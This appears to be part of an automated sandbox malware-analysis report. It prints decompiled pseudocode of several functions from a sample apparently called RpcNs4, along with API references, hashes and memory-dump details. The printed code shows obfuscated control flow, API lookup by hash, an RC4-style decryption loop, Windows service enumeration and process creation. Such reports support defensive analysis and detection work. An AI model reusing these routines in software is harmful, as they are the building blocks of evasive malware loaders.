										}
										 *_t69(_t103);
										_t37 = 0x16beef78;
										continue;
									} else {
										if(_t37 != 0x582bf38) {
											goto L18;
										} else {
											_t72 = E020B4220(_t73, 0x47c);
											 *0x20be368 = _t72;
											if(_t72 == 0) {
												L37:
												return _t102;
											} else {
												 *_t72 = E020B7E10;
												_t37 = 0x58c56de;
												continue;
											}
										}
									}
								}
							}
						}
						L38:
					}
					__eflags = _t37 - 0x1e34e32a;
					if(__eflags > 0) {
						__eflags = _t37 - 0x24e7c50b;
						if(_t37 != 0x24e7c50b) {
							goto L18;
						} else {
							_v528 = 0x2015;
							_v528 = _v528 * 0x2e;
							_v528 = _v528 + _v528 * 4 + _v528 + _v528 * 4;
							_t37 = 0x1fdbe7c;
							_v528 = (_v528 - (0xa41a41a5 * _v528 >> 0x20) >> 1) + (0xa41a41a5 * _v528 >> 0x20) >> 6;
							_v528 = _v528 ^ 0x0000bd1a;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							_t45 =  *0x20be028;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E020B3DD0(_t73, E020B3E70(0xbb51e2dc), 0x2bebef82, _t104);
								 *0x20be028 = _t45;
							}
							 *_t45(0,  &_v524, 0x104);
							 *((intOrPtr*)( *0x20be368 + 0x42c)) = E020B3C90( &_v536);
							_t37 = 0x916b55c;
							goto L1;
						} else {
							__eflags = _t37 - 0x1957e2ae;
							if(_t37 == 0x1957e2ae) {
								E020B7C20(_t104);
								_t37 = 0x1e34e32a;
								goto L1;
							} else {
								__eflags = _t37 - 0x1a3f7140;
								if(_t37 != 0x1a3f7140) {
									goto L18;
								} else {
									_v528 = 0xb522;
									_v528 = _v528 | 0xc076dc4c;
									_v528 = _v528 + 0xfffff316;
									_v528 = _v528 | 0x16bc97f1;
									_v528 = _v528 + 0x41f8;
									_v528 = _v528 ^ 0xd6ff39f1;
									 *((intOrPtr*)( *0x20be368 + 4)) = 0x20b7e00;
									_t37 = 0x16beef78;
									goto L1;
								}
							}
						}
					}
					goto L38;
					L18:
					__eflags = _t37 - 0x4d0843c;
				} while (_t37 != 0x4d0843c);
				return _t102;
				goto L38;
			}

0x020b9708
0x020b970c
0x020b9712
0x020b9714
0x020b9714
0x020b9717
0x020b9720
0x020b9720
0x020b9720
0x020b9720
0x020b9725
0x00000000
0x00000000
0x020b972b
0x020b981b
0x020b9821
0x020b9823
0x020b983b
0x020b983d
0x020b983d
0x020b9859
0x020b985b
0x020b985d
0x020b9862
0x00000000
0x020b9731
0x020b9731
0x020b9736
0x020b97f9
0x020b97fe
0x020b9982
0x020b9987
0x020b9989
0x020b999c
0x020b99a1
0x020b99a1
0x020b99b3
0x020b99be
0x020b99c4
0x00000000
0x00000000
0x00000000
0x00000000
0x020b973c
0x020b973c
0x020b97aa
0x020b97ac
0x020b97c4
0x020b97c4
0x020b97d2
0x020b97d4
0x020b97d6
0x020b97d8
0x020b97ef
0x020b97da
0x020b97df
0x020b97e5
0x020b97e5
0x00000000
0x020b973e
0x020b9743
0x020b9774
0x020b9779
0x020b977b
0x020b978e
0x020b9793
0x020b9793
0x020b9799
0x020b979b
0x00000000
0x020b9745
0x020b974a
0x00000000
0x020b9750
0x020b9755
0x020b975a
0x020b9761
0x020b99cc
0x020b99d7
0x020b9767
0x020b9767
0x020b976d
0x00000000
0x020b976d
0x020b9761
0x020b974a
0x020b9743
0x020b973c
0x020b9736
0x00000000
0x020b972b
0x020b986a
0x020b986f
0x020b992f
0x020b9934
0x00000000
0x020b993a
0x020b993a
0x020b9947
0x020b9954
0x020b9963
0x020b9971
0x020b9975
0x00000000
0x020b9975
0x020b9875
0x020b9875
0x020b98de
0x020b98e3
0x020b98e5
0x020b98f8
0x020b98fd
0x020b98fd
0x020b990e
0x020b991f
0x020b9925
0x00000000
0x020b9877
0x020b9877
0x020b987c
0x020b98cf
0x020b98d4
0x00000000
0x020b987e
0x020b987e
0x020b9883
0x00000000
0x020b9889
0x020b9889
0x020b9891
0x020b9899
0x020b98a1
0x020b98a9
0x020b98b1
0x020b98be
0x020b98c5
0x00000000
0x020b98c5
0x020b9883
0x020b987c
0x020b9875
0x00000000
0x020b9804
0x020b9804
0x020b9804
0x020b981a
0x00000000

APIs

OpenSCManagerW.SECHOST(00000000,00000000,000F003F), ref: 020B97D2

Strings

t4B, xrefs: 020B9995
t4B, xrefs: 020B982F

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID: t4B$t4B
API String ID: 1889721586-575686366
Opcode ID: 6f5a2e901f5c27c7cc871722522a870e469681572e0f1e3248597d99c4e6c382
Instruction ID: 5b2ea77bb767a4d64e3bf388368e66aeaed7f06a607cd13483206aae53c84ab1
Opcode Fuzzy Hash: 6f5a2e901f5c27c7cc871722522a870e469681572e0f1e3248597d99c4e6c382
Instruction Fuzzy Hash: 7751C074B483049BEB7B9F28D4857EE73D2AF85710F508C29A655CB290DB38E844DF52

Uniqueness

Uniqueness Score: -1.00%

Function 020B3060, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 160
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E020B3060() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t54;
				intOrPtr* _t67;
				void* _t70;
				intOrPtr _t81;
				intOrPtr* _t93;
				intOrPtr _t94;
				intOrPtr* _t110;
				void* _t112;
				void* _t113;
				intOrPtr _t114;
				signed int _t119;
				void* _t120;
				void* _t121;

				_t81 =  *((intOrPtr*)(_t120 + 0xc));
				_t54 = 0x2746532a;
				_t119 =  *(_t120 + 0x10);
				_t114 =  *((intOrPtr*)(_t120 + 0x14));
				_t112 =  *(_t120 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t121 = _t54 - 0x1b879e60;
							if(_t121 > 0) {
								break;
							}
							if(_t121 == 0) {
								_t93 =  *0x20bdf1c;
								if(_t93 == 0) {
									_t93 = E020B3DD0(_t81, E020B3E70(0x755194fe), 0xd778cb9a, _t119);
									 *0x20bdf1c = _t93;
								}
								_t114 =  *_t93(_t119 + 0x2c);
								_t54 = 0x2fd692b6;
								while(1) {
									L1:
									goto L2;
								}
							} else {
								if(_t54 == 0x2620d36) {
									_t67 =  *0x20bddc8;
									if(_t67 == 0) {
										_t67 = E020B3DD0(_t81, E020B3E70(0xbb51e2dc), 0x298e8809, _t119);
										 *0x20bddc8 = _t67;
									}
									_t113 =  *_t67();
									if( *0x20bdcf0 == 0) {
										 *0x20bdcf0 = E020B3DD0(_t81, E020B3E70(0xbb51e2dc), 0xc9d236a5, _t119);
									}
									_t70 = RtlAllocateHeap(_t113, 8, 0x23c); // executed
									_t112 = _t70;
									if(_t112 == 0) {
										goto L29;
									} else {
										_t54 = 0x65a2174;
										while(1) {
											L1:
											goto L2;
										}
									}
								} else {
									if(_t54 == 0x65a2174) {
										_t110 =  *0x20be018;
										if(_t110 == 0) {
											_t110 = E020B3DD0(_t81, E020B3E70(0xbb51e2dc), 0x7bd685bc, _t119);
											 *0x20be018 = _t110;
										}
										 *_t110(_t112 + 0x28, _t119 + 0x2c, (_t114 - _t119 - 0x2c >> 1) + 1);
										_t94 =  *((intOrPtr*)(_t120 + 0x1c));
										 *(_t112 + 0x230) =  *(_t94 + 0x18);
										 *((intOrPtr*)(_t94 + 0x24)) =  *((intOrPtr*)(_t94 + 0x24)) + 1;
										 *(_t94 + 0x18) = _t112;
										goto L29;
									} else {
										if(_t54 != 0x1936db13) {
											goto L22;
										} else {
											if(_t81 !=  *(_t120 + 0x18)) {
												L29:
												return 1;
											} else {
												_t54 = 0x2620d36;
												continue;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t54 == 0x2746532a) {
							 *(_t120 + 0x18) = 0x1355;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) << 3;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) ^ 0x2b7aa775;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) * 0x4e;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) + 0x6616;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) | 0xe186295c;
							 *(_t120 + 0x18) = ( *(_t120 + 0x18) - (0xbacf914d *  *(_t120 + 0x18) >> 0x20) >> 1) + (0xbacf914d *  *(_t120 + 0x18) >> 0x20) >> 6;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) ^ 0x8d190104;
							 *(_t120 + 0x10) = 0x990b;
							_t87 =  *(_t120 + 0x10);
							_t54 = 0x1b879e60;
							 *(_t120 + 0x10) = ( *(_t120 + 0x10) - (0x21fb7813 * _t87 >> 0x20) >> 1) + (0x21fb7813 * _t87 >> 0x20) >> 6;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) >> 8;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) ^ 0x03a1830e;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) << 0xc;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) | 0xea8992c4;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) << 9;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) ^ 0xfe0623b6;
							goto L1;
						} else {
							if(_t54 == 0x2fd692b6) {
								_t81 = E020B3C90(_t114);
								_t54 = 0x36cc697c;
								while(1) {
									L1:
									goto L2;
								}
							} else {
								if(_t54 != 0x36cc697c) {
									goto L22;
								} else {
									_t54 =  ==  ? 0x2620d36 : 0x1936db13;
									goto L2;
								}
							}
						}
						goto L30;
						L22:
					} while (_t54 != 0x1a6d5b53);
					return 1;
					goto L30;
				}
			}

0x020b3062
0x020b3066
0x020b306c
0x020b3071
0x020b3076
0x020b307a
0x020b307a
0x020b3080
0x020b3080
0x020b3080
0x020b3080
0x020b3085
0x00000000
0x00000000
0x020b308b
0x020b3129
0x020b3131
0x020b3149
0x020b314b
0x020b314b
0x020b3157
0x020b3159
0x020b307a
0x020b307a
0x00000000
0x020b307a
0x020b3091
0x020b3096
0x020b30bf
0x020b30c6
0x020b30d9
0x020b30de
0x020b30de
0x020b30e5
0x020b30ee
0x020b3106
0x020b3106
0x020b3113
0x020b3115
0x020b3119
0x00000000
0x020b311f
0x020b311f
0x020b307a
0x020b307a
0x00000000
0x020b307a
0x020b307a
0x020b3098
0x020b309d
0x020b3255
0x020b325d
0x020b3275
0x020b3277
0x020b3277
0x020b328e
0x020b3290
0x020b3297
0x020b329d
0x020b32a0
0x00000000
0x020b30a3
0x020b30a8
0x00000000
0x020b30ae
0x020b30b2
0x020b32a6
0x020b32ad
0x020b30b8
0x020b30b8
0x00000000
0x020b30b8
0x020b30b2
0x020b30a8
0x020b309d
0x020b3096
0x00000000
0x020b308b
0x020b3168
0x020b31b6
0x020b31be
0x020b31c3
0x020b31d0
0x020b31d9
0x020b31e1
0x020b31fd
0x020b3201
0x020b3209
0x020b3211
0x020b3217
0x020b3225
0x020b3229
0x020b322e
0x020b3236
0x020b323b
0x020b3243
0x020b3248
0x00000000
0x020b316a
0x020b316f
0x020b31aa
0x020b31ac
0x020b307a
0x020b307a
0x00000000
0x020b307a
0x020b3171
0x020b3176
0x00000000
0x020b3178
0x020b3183
0x00000000
0x020b3183
0x020b3176
0x020b316f
0x00000000
0x020b318b
0x020b318b
0x020b31a0
0x00000000
0x020b31a0

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000023C), ref: 020B3113

Strings

*SF', xrefs: 020B3163
*SF', xrefs: 020B3066

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: *SF'$*SF'
API String ID: 1279760036-2165348068
Opcode ID: f2b674458fbbe6a5eda6e775847fbdd22a12bf858c3579e23d7a2e521a1f86ef
Instruction ID: 23e998595922a2dfa47119039816650fda5546f11d0674cc4e68e55387db84df
Opcode Fuzzy Hash: f2b674458fbbe6a5eda6e775847fbdd22a12bf858c3579e23d7a2e521a1f86ef
Instruction Fuzzy Hash: BE51D271B043028BC76EDF6894942AEBBE6BFD8240F204D6EE452C7350DB70D9499BD2

Uniqueness

Uniqueness Score: -1.00%

Function 00402190, Relevance: 4.6, APIs: 3, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00402190(void* __eflags, intOrPtr _a4, char _a8, intOrPtr _a12, signed int _a16, signed char* _a20) {
				signed char _v8;
				signed int _v12;
				struct HWND__* _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* _t70;
				signed char _t71;
				signed int _t85;
				struct HWND__* _t90;
				signed int _t91;
				void* _t94;
				void* _t95;
				signed char _t96;
				signed char _t98;
				signed int _t99;
				signed int _t100;
				signed char _t101;
				signed char* _t103;
				signed char _t107;
				void* _t108;
				signed int _t109;
				signed int _t113;
				signed int _t119;
				signed int _t121;
				signed char _t123;
				char* _t124;

				_t119 =  *0x43502c; // 0x6700
				_t70 = E004025D7(_t94, _t108, _t119, _t119); // executed
				_t95 = _t70; // executed
				_t71 = E004025D7(_t95, _t108, _t119, _t119); // executed
				_v8 = _t71;
				_t109 = 0;
				_t99 = 0;
				if(_t119 != 0) {
					_t90 = _t71 - _t95;
					_v16 = _t90;
					do {
						_t124 = _t99 + _t95;
						 *(_t90 + _t124) = _t99;
						_t91 = _t99;
						asm("cdq");
						_t99 = _t99 + 1;
						_t119 =  *0x43502c; // 0x6700
						 *_t124 =  *((intOrPtr*)(_t91 % _a16 + _a12));
						_t90 = _v16;
					} while (_t99 < _t119);
					_t71 = _v8;
					_t109 = 0;
				}
				_t100 = 0;
				if(_t119 != 0) {
					_t123 = _t71;
					_t85 = _t119;
					_v20 = _t95 - _t71;
					_v16 = _t85;
					_v12 = _t85;
					do {
						_t123 = _t123 + 1;
						_t98 =  *(_t123 - 1);
						_t109 = ((_t98 & 0x000000ff) + ( *(_v20 + _t123 - 1) & 0x000000ff) + _t109) % _t119;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
						_t107 = _v8;
						_t71 =  *(_t109 + _t107);
						 *(_t109 + _t107) = _t98;
						 *(_t123 - 1) = _t71;
					} while ( *_t27 != 0);
					_t100 = _v12;
				}
				_v16 = 0;
				if(_a8 > 0) {
					_t96 = _v8;
					_a4 = _a4 - _a20;
					while(1) {
						_t40 = _t100 + 1; // 0x1
						_t121 = _t40 % _t119;
						_v12 = _t121;
						_t113 = (_v16 + ( *(_t121 + _t96) & 0x000000ff)) % _t119;
						_v16 = _t113;
						_t101 =  *(_t113 + _t96);
						 *(_t113 + _t96) =  *(_t121 + _t96) & 0x000000ff;
						 *(_t121 + _t96) = _t101;
						ShowWindow(0, 0); // executed
						_t103 = _a20;
						_t71 =  *(_a4 + _t103) & 0x000000ff ^  *(((_t101 & 0x000000ff) + ( *(_t113 + _t96) & 0x000000ff)) % _t119 + _t96);
						 *_t103 = _t71;
						_t66 =  &_a8;
						 *_t66 = _a8 - 1;
						_a20 =  &(_t103[1]);
						if( *_t66 == 0) {
							goto L12;
						}
						_t119 =  *0x43502c; // 0x6700
						_t100 = _v12;
					}
				}
				L12:
				return _t71;
			}

0x00402199
0x004021a0
0x004021a6
0x004021a8
0x004021b0
0x004021b3
0x004021b5
0x004021b9
0x004021bb
0x004021bd
0x004021c0
0x004021c0
0x004021c6
0x004021c9
0x004021cb
0x004021cc
0x004021d3
0x004021d9
0x004021db
0x004021de
0x004021e2
0x004021e5
0x004021e5
0x004021e7
0x004021eb
0x004021ef
0x004021f1
0x004021f3
0x004021f6
0x004021f9
0x00402200
0x00402203
0x00402206
0x00402217
0x00402219
0x00402219
0x0040221c
0x0040221f
0x00402222
0x00402225
0x00402225
0x0040222a
0x0040222a
0x00402231
0x00402238
0x00402240
0x00402243
0x00402246
0x00402248
0x0040224f
0x00402253
0x0040225f
0x00402265
0x00402268
0x0040226b
0x0040226e
0x00402280
0x00402286
0x00402290
0x00402293
0x00402296
0x00402296
0x00402299
0x0040229c
0x00000000
0x00000000
0x0040229e
0x004022a4
0x004022a4
0x00402246
0x004022af
0x004022af

APIs

_malloc.LIBCMT ref: 004021A0

Part of subcall function 004025D7: __FF_MSGBANNER.LIBCMT ref: 004025EE
Part of subcall function 004025D7: __NMSG_WRITE.LIBCMT ref: 004025F5
Part of subcall function 004025D7: RtlAllocateHeap.NTDLL(00610000,00000000,00000001,00000000,00000000,00000000,?,0040D04F,00000000,00000000,00000000,00000000,?,00406E45,00000018,00434500), ref: 0040261A

_malloc.LIBCMT ref: 004021A8
ShowWindow.USER32(00000000,00000000), ref: 00402280

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: _malloc$AllocateHeapShowWindow
String ID:
API String ID: 1029182426-0
Opcode ID: 414393e4c0a2ca2fefc8c6585836cd36396bea82b3bbe22be38456031dbfa9e9
Instruction ID: c59e8e181be4432f579234cb94a6521dd56dcdf708861cff6199d573f643a35f
Opcode Fuzzy Hash: 414393e4c0a2ca2fefc8c6585836cd36396bea82b3bbe22be38456031dbfa9e9
Instruction Fuzzy Hash: CE41C635D042559FCB15CF6AC8906AEFFF1AF9A310F1880AED894AB342C6759A41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 020B4AE0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E020B4AE0(void* __ebx, WCHAR* __ecx, WCHAR* __edx, void* __ebp, int _a4, intOrPtr _a12) {
				struct _STARTUPINFOW _v72;
				struct _PROCESS_INFORMATION _v88;
				intOrPtr* _t9;
				int _t12;
				intOrPtr* _t15;
				intOrPtr* _t17;
				WCHAR* _t44;
				WCHAR* _t45;

				_t46 = __ebp;
				_t26 = __ebx;
				_t9 =  *0x20bdee8;
				_t45 = __edx;
				_t44 = __ecx;
				if(_t9 == 0) {
					_t9 = E020B3DD0(__ebx, E020B3E70(0xe60124ba), 0x2828b361, __ebp);
					 *0x20bdee8 = _t9;
				}
				 *_t9( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				if( *0x20be1d4 == 0) {
					 *0x20be1d4 = E020B3DD0(_t26, E020B3E70(0xbb51e2dc), 0xeb4e9e48, _t46);
				}
				_t12 = CreateProcessW(_t44, _t45, 0, 0, _a4, 0, 0, 0,  &_v72,  &_v88); // executed
				if(_t12 == 0) {
					return 0;
				} else {
					if(_a12 == 0) {
						_t15 =  *0x20bde38;
						if(_t15 == 0) {
							_t15 = E020B3DD0(_t26, E020B3E70(0xbb51e2dc), 0x76fc23ac, _t46);
							 *0x20bde38 = _t15;
						}
						 *_t15(_v88.hProcess);
						_t17 =  *0x20bde38;
						if(_t17 == 0) {
							_t17 = E020B3DD0(_t26, E020B3E70(0xbb51e2dc), 0x76fc23ac, _t46);
							 *0x20bde38 = _t17;
						}
						 *_t17(_v88.hProcess);
						return 1;
					} else {
						asm("movdqu xmm0, [esp+0x8]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x020b4ae0
0x020b4ae0
0x020b4ae0
0x020b4ae9
0x020b4aec
0x020b4af0
0x020b4b03
0x020b4b08
0x020b4b08
0x020b4b16
0x020b4b20
0x020b4b2a
0x020b4b42
0x020b4b42
0x020b4b61
0x020b4b65
0x020b4bea
0x020b4b67
0x020b4b6d
0x020b4b84
0x020b4b8b
0x020b4b9e
0x020b4ba3
0x020b4ba3
0x020b4bac
0x020b4bae
0x020b4bb5
0x020b4bc8
0x020b4bcd
0x020b4bcd
0x020b4bd6
0x020b4be2
0x020b4b6f
0x020b4b6f
0x020b4b75
0x020b4b83
0x020b4b83
0x020b4b6d

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 020B4B61

Strings

D, xrefs: 020B4B20

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: 3abbb888954d457db7fd31b51ee88276415093657864aa7ca08a3aaf5d1d8484
Instruction ID: 547c65e0a0d81ffa2a2836840e5111975d29cd83a6a087f1251c66d335b945b2
Opcode Fuzzy Hash: 3abbb888954d457db7fd31b51ee88276415093657864aa7ca08a3aaf5d1d8484
Instruction Fuzzy Hash: 8621D6397003015BE73BAB68DC91BEB73D6AFC0750F200879B654CB280EA74DD509B41

Uniqueness

Uniqueness Score: -1.00%

Function 020B4FB0, Relevance: 3.2, APIs: 2, Instructions: 226
memoryserviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E020B4FB0(void* __ecx, intOrPtr __edx) {
				char _v4;
				char _v8;
				short** _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v44;
				signed int _v52;
				void* _v68;
				void* __ebx;
				void* __ebp;
				void* _t16;
				void* _t17;
				void* _t20;
				void* _t23;
				void* _t24;
				void* _t25;
				signed int _t26;
				void* _t29;
				void* _t32;
				intOrPtr* _t38;
				void* _t41;
				void* _t43;
				void* _t48;
				void* _t54;
				short** _t92;
				void* _t94;
				signed int _t95;
				void* _t96;
				void* _t100;
				void* _t102;
				void* _t105;
				void* _t106;

				_t92 = _v12;
				_t102 = 0;
				_v16 = __edx;
				_t54 = 0;
				_v20 = __ecx;
				_t95 = 0x3725d924;
				while(1) {
					_t16 = _v28;
					while(1) {
						L2:
						_t105 = _t95 - 0x1893822c;
						if(_t105 > 0) {
							break;
						}
						if(_t105 == 0) {
							_t92 =  &(_t92[0xb]);
							__eflags = _t92 - _t16;
							asm("sbb esi, esi");
							_t95 = (_t95 & 0xf62ca62c) + 0x2ed4c8c2;
							continue;
						} else {
							_t106 = _t95 - 0x109aede1;
							if(_t106 > 0) {
								__eflags = _t95 - 0x1485f6c7;
								if(_t95 == 0x1485f6c7) {
									_t17 =  *0x20bdf50;
									__eflags = _t17;
									if(_t17 == 0) {
										_t17 = E020B3DD0(_t54, E020B3E70(0x60f9cb2), 0xc8b38db8, _t102);
										 *0x20bdf50 = _t17;
									}
									 *_t17(_v24, 1, _t54, 0x2000,  &_v4);
									asm("sbb esi, esi");
									_t20 =  *0x20bdd78;
									_t95 = (_t95 & 0xf5ae1ac4) + 0x1893822c;
									__eflags = _t20;
									if(_t20 == 0) {
										_t20 = E020B3DD0(_t54, E020B3E70(0x60f9cb2), 0x70adb3c9, _t102);
										 *0x20bdd78 = _t20;
									}
									_t16 =  *_t20(_v44);
									goto L30;
								} else {
									__eflags = _t95 - 0x14ada14f;
									if(_t95 != 0x14ada14f) {
										goto L30;
									} else {
										_t23 =  *0x20be1e8;
										__eflags = _t23;
										if(_t23 == 0) {
											_t23 = E020B3DD0(_t54, E020B3E70(0x60f9cb2), 0x52751a5f, _t102);
											 *0x20be1e8 = _t23;
										}
										_t24 =  *_t23(_v20, 0, 0x30, 3, _t102, 0x20000,  &_v8,  &_v12, 0, 0);
										__eflags = _t24;
										if(_t24 == 0) {
											goto L11;
										} else {
											_t25 =  *0x20bdc10;
											__eflags = _t25;
											if(_t25 == 0) {
												_t25 = E020B3DD0(_t54, E020B3E70(0xbb51e2dc), 0x8ecd1a70, _t102);
												 *0x20bdc10 = _t25;
											}
											_t26 =  *_t25();
											_t95 = 0x25016eee;
											_t94 = _t102 + (_t26 & 0x0000001f) * 0x2c;
											_t16 = _t102 + _v52 * 0x2c;
											__eflags = _t94 - _t16;
											_v68 = _t16;
											_t92 =  >=  ? _t102 : _t94;
											continue;
										}
										L51:
									}
								}
							} else {
								if(_t106 == 0) {
									_t29 =  *0x20bddc8;
									__eflags = _t29;
									if(_t29 == 0) {
										_t29 = E020B3DD0(_t54, E020B3E70(0xbb51e2dc), 0x298e8809, _t102);
										 *0x20bddc8 = _t29;
									}
									_t100 =  *_t29();
									__eflags =  *0x20bdcf0;
									if( *0x20bdcf0 == 0) {
										 *0x20bdcf0 = E020B3DD0(_t54, E020B3E70(0xbb51e2dc), 0xc9d236a5, _t102);
									}
									_t32 = RtlAllocateHeap(_t100, 8, 0x2000); // executed
									_t54 = _t32;
									__eflags = _t54;
									_t95 =  !=  ? 0x14ada14f : 0x556bd9c;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								} else {
									if(_t95 == 0x556bd9c) {
										return E020B4180(_t54, _t102);
									}
									if(_t95 != 0xe419cf0) {
										L30:
										__eflags = _t95 - 0x10f58482;
										if(_t95 != 0x10f58482) {
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										}
									} else {
										_t38 =  *0x20be220;
										if(_t38 == 0) {
											_t38 = E020B3DD0(_t54, E020B3E70(0x60f9cb2), 0x40f65e00, _t102);
											 *0x20be220 = _t38;
										}
										 *_t38(_v16, 1, _t54);
										L11:
										_t95 = 0x2ed4c8c2;
										while(1) {
											_t16 = _v28;
											goto L2;
										}
									}
								}
							}
						}
						L50:
						return _t16;
						goto L51;
					}
					__eflags = _t95 - 0x2ed4c8c2;
					if(__eflags > 0) {
						__eflags = _t95 - 0x3725d924;
						if(_t95 != 0x3725d924) {
							goto L30;
						} else {
							_t95 = 0x25c43419;
							goto L2;
						}
					} else {
						if(__eflags == 0) {
							_t41 =  *0x20bddc8;
							__eflags = _t41;
							if(_t41 == 0) {
								_t41 = E020B3DD0(_t54, E020B3E70(0xbb51e2dc), 0x298e8809, _t102);
								 *0x20bddc8 = _t41;
							}
							_t96 =  *_t41();
							_t43 =  *0x20bdbec;
							__eflags = _t43;
							if(_t43 == 0) {
								_t43 = E020B3DD0(_t54, E020B3E70(0xbb51e2dc), 0x632f374, _t102);
								 *0x20bdbec = _t43;
							}
							 *_t43(_t96, 0, _t54);
							_t95 = 0x556bd9c;
							continue;
						} else {
							__eflags = _t95 - 0x25016eee;
							if(_t95 == 0x25016eee) {
								__eflags =  *0x20be2dc;
								if( *0x20be2dc == 0) {
									 *0x20be2dc = E020B3DD0(_t54, E020B3E70(0x60f9cb2), 0xc066c0, _t102);
								}
								_t48 = OpenServiceW(_v20,  *_t92, 1); // executed
								__eflags = _t48;
								_v24 = _t48;
								_t95 =  !=  ? 0x1485f6c7 : 0x1893822c;
								while(1) {
									_t16 = _v28;
									goto L2;
								}
							} else {
								__eflags = _t95 - 0x25c43419;
								if(_t95 != 0x25c43419) {
									goto L30;
								} else {
									_t16 = E020B4220(_t54, 0x20000);
									_t102 = _t16;
									__eflags = _t102;
									if(_t102 != 0) {
										_t95 = 0x109aede1;
										while(1) {
											_t16 = _v28;
											goto L2;
										}
									}
								}
							}
						}
					}
					goto L50;
				}
			}

0x020b4fb7
0x020b4fbb
0x020b4fbd
0x020b4fc1
0x020b4fc3
0x020b4fc7
0x020b4fcc
0x020b4fcc
0x020b4fd0
0x020b4fd0
0x020b4fd0
0x020b4fd6
0x00000000
0x00000000
0x020b4fdc
0x020b51d6
0x020b51d9
0x020b51db
0x020b51e3
0x00000000
0x020b4fe2
0x020b4fe2
0x020b4fe8
0x020b50a8
0x020b50ae
0x020b5154
0x020b5159
0x020b515b
0x020b516e
0x020b5173
0x020b5173
0x020b5189
0x020b518d
0x020b518f
0x020b519a
0x020b51a0
0x020b51a2
0x020b51b5
0x020b51ba
0x020b51ba
0x020b51c3
0x00000000
0x020b50b4
0x020b50b4
0x020b50ba
0x00000000
0x020b50c0
0x020b50c0
0x020b50c5
0x020b50c7
0x020b50da
0x020b50df
0x020b50df
0x020b5102
0x020b5104
0x020b5106
0x00000000
0x020b510c
0x020b510c
0x020b5111
0x020b5113
0x020b5126
0x020b512b
0x020b512b
0x020b5130
0x020b5135
0x020b5142
0x020b5144
0x020b5146
0x020b5148
0x020b514c
0x00000000
0x020b514c
0x00000000
0x020b5106
0x020b50ba
0x020b4fee
0x020b4fee
0x020b503c
0x020b5041
0x020b5043
0x020b5056
0x020b505b
0x020b505b
0x020b5062
0x020b5069
0x020b506b
0x020b5083
0x020b5083
0x020b5090
0x020b5092
0x020b5099
0x020b50a0
0x020b4fcc
0x020b4fcc
0x00000000
0x020b4fcc
0x020b4ff0
0x020b4ff6
0x00000000
0x020b52e4
0x020b5002
0x020b51c5
0x020b51c5
0x020b51cb
0x020b4fcc
0x020b4fcc
0x00000000
0x020b4fcc
0x020b4fcc
0x020b5008
0x020b5008
0x020b500f
